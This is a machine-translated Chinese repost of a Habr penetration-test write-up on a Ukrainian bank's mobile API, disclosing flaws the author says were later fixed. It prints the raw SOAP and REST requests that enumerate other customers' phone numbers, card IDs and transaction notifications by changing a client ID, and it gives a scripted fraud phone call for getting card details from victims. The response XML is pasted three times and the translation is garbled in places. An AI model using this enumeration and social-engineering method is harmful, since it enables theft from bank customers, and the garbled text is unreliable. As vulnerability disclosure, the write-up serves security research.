从TOP-10(乌克兰)获取信息并绕过银行卡的两因素身份验证

去年,来自TOP-10的一家乌克兰银行邀请我测试其Internet和移动银行系统的漏洞。

首先,我决定从跟踪移动应用程序的请求开始。 在Fiddler(Burp或Charles)的帮助下,我开始考虑每个应用程序请求,依次执行帐户中所有可用的操作。 移动银行业务不受SSL固定保护,因此并不困难。

在GET和POST请求中,我尝试更改参数以获取所需的内容,但是很长一段时间我都无法成功-我遇到了“访问被拒绝”之类的错误。 但是,我确实找到了所需的查询。

例如:

1.通过执行对表单地址的POST请求

https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint 

使用某些参数:

 SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

请求正文:
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope> 

作为回应,我收到了很多有关另一个客户的信息:

 <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB:令牌> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB:令牌> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> 

这些是以下数据:

  1. 客户电话号码(“ phoneNumber”);
  2. 卡数(每个“ cardId”参数);
  3. 此类卡的截短号码(“ hashNum”);
  4. 在网上银行的注册日期(“ regDate”);
  5. 在哪个设备上使用该应用程序-Android或iOS(“平台”);
  6. 依此类推

将请求正文中的参数“ ib:clientId”(在响应中为“ sbb:extClientId”)从3618336更改为任何其他参数,我们将获得有关另一个客户端的信息。

让我们继续前进。

2.现在,对于那些“ sbb:channelId”为“ 2”的客户端(用于接收客户端通知的通道:如果1-SMS,2-push),请使用clientId(extClientId)并将其替换为GET请求中的地址

 https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10 

具有以下参数:

 Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

作为响应,我们收到发送到此客户端的推送通知:

 [{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}] 

在这里您可以看到:

  1. 手术在什么卡上进行;
  2. 多少钱;
  3. 手术的日期和时间;
  4. 它是什么样的操作(在商店购买,从自动柜员机或收银机取款,充值卡等);
  5. 执行操作的商店-包括在付款网站上确认付款所必需的授权代码-LookUp,VCODE,CardVerif-以下更多内容;
  6. 每次操作后的卡余额。

鉴于收到的大量数据和使用社会工程学,可以从付款站点上的客户卡中提取资金。

例如,欺诈者将通过以下对话致电+380509876543:

 Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH 

-下午好,SomeBank监控人员在打扰您。 上次操作后,我们检测到您卡上的可疑活动。 您是否使用5111-1115卡支付了UAH 62.08?
-可能是。
-今天的行动是UBER的今天09/23 / 18,03:38。 您确认此操作吗?
-啊,是我。
-在此之前,您以50 UAH的价格定居在TAVRIYA PLUS中。 然后在SHEVCHENko PARK以29 UAH的价格购买了咖啡,对吗?
-是的。
-好 为了取消UAH 444的欺诈操作,请告诉我您的卡发行所在的分支机构的号码-这些是卡背面的三个数字,并且...

如果客户端犹豫,您可以命名其其他操作-使用该漏洞,您可以无限制地查看它们。



因此,作为研究移动应用程序的一部分,找到了获取以下数据的方法:

  1. 绕过支付站点上的两因素身份验证的能力;
  2. 客户电话号码;
  3. 他的卡数;
  4. 卡号被截断;
  5. 在网上银行注册的日期;
  6. 在智能手机上发送到客户端的消息。 包括信息:
  7. 手术在什么卡上进行;
  8. 多少钱;
  9. 交易的日期和时间;
  10. 它是什么样的交易(在商店购买,从自动柜员机或收银机取款,充值卡等);
  11. 执行此操作的销售点-包括授权码(LookUp);
  12. 手术后卡余额;
  13. 还有更多。

我将解释第11条的严肃性。由于该银行的卡没有3D-Secure(当通过短信向客户发送密码以确认操作时必须输入此密码),支付服务(例如,Portmone,iPay,EasyPay等)无需额外验证即可对此类卡执行操作。 或者他们要求输入2FA特殊代码(查找代码),该代码包含在操作的详细信息中-以插座的名称。

因此,欺诈者可以轻松地找到有关客户的信息,并确认付款,他们只需查看银行系统中的必要代码即可。

我还想指出,该服务没有阻止多个请求,并且通过对数据进行排序,有可能收集包含大量信息的数据库。

报告漏洞后的一段时间,它们已得到修复。

Source: https://habr.com/ru/post/zh-CN441104/


All Articles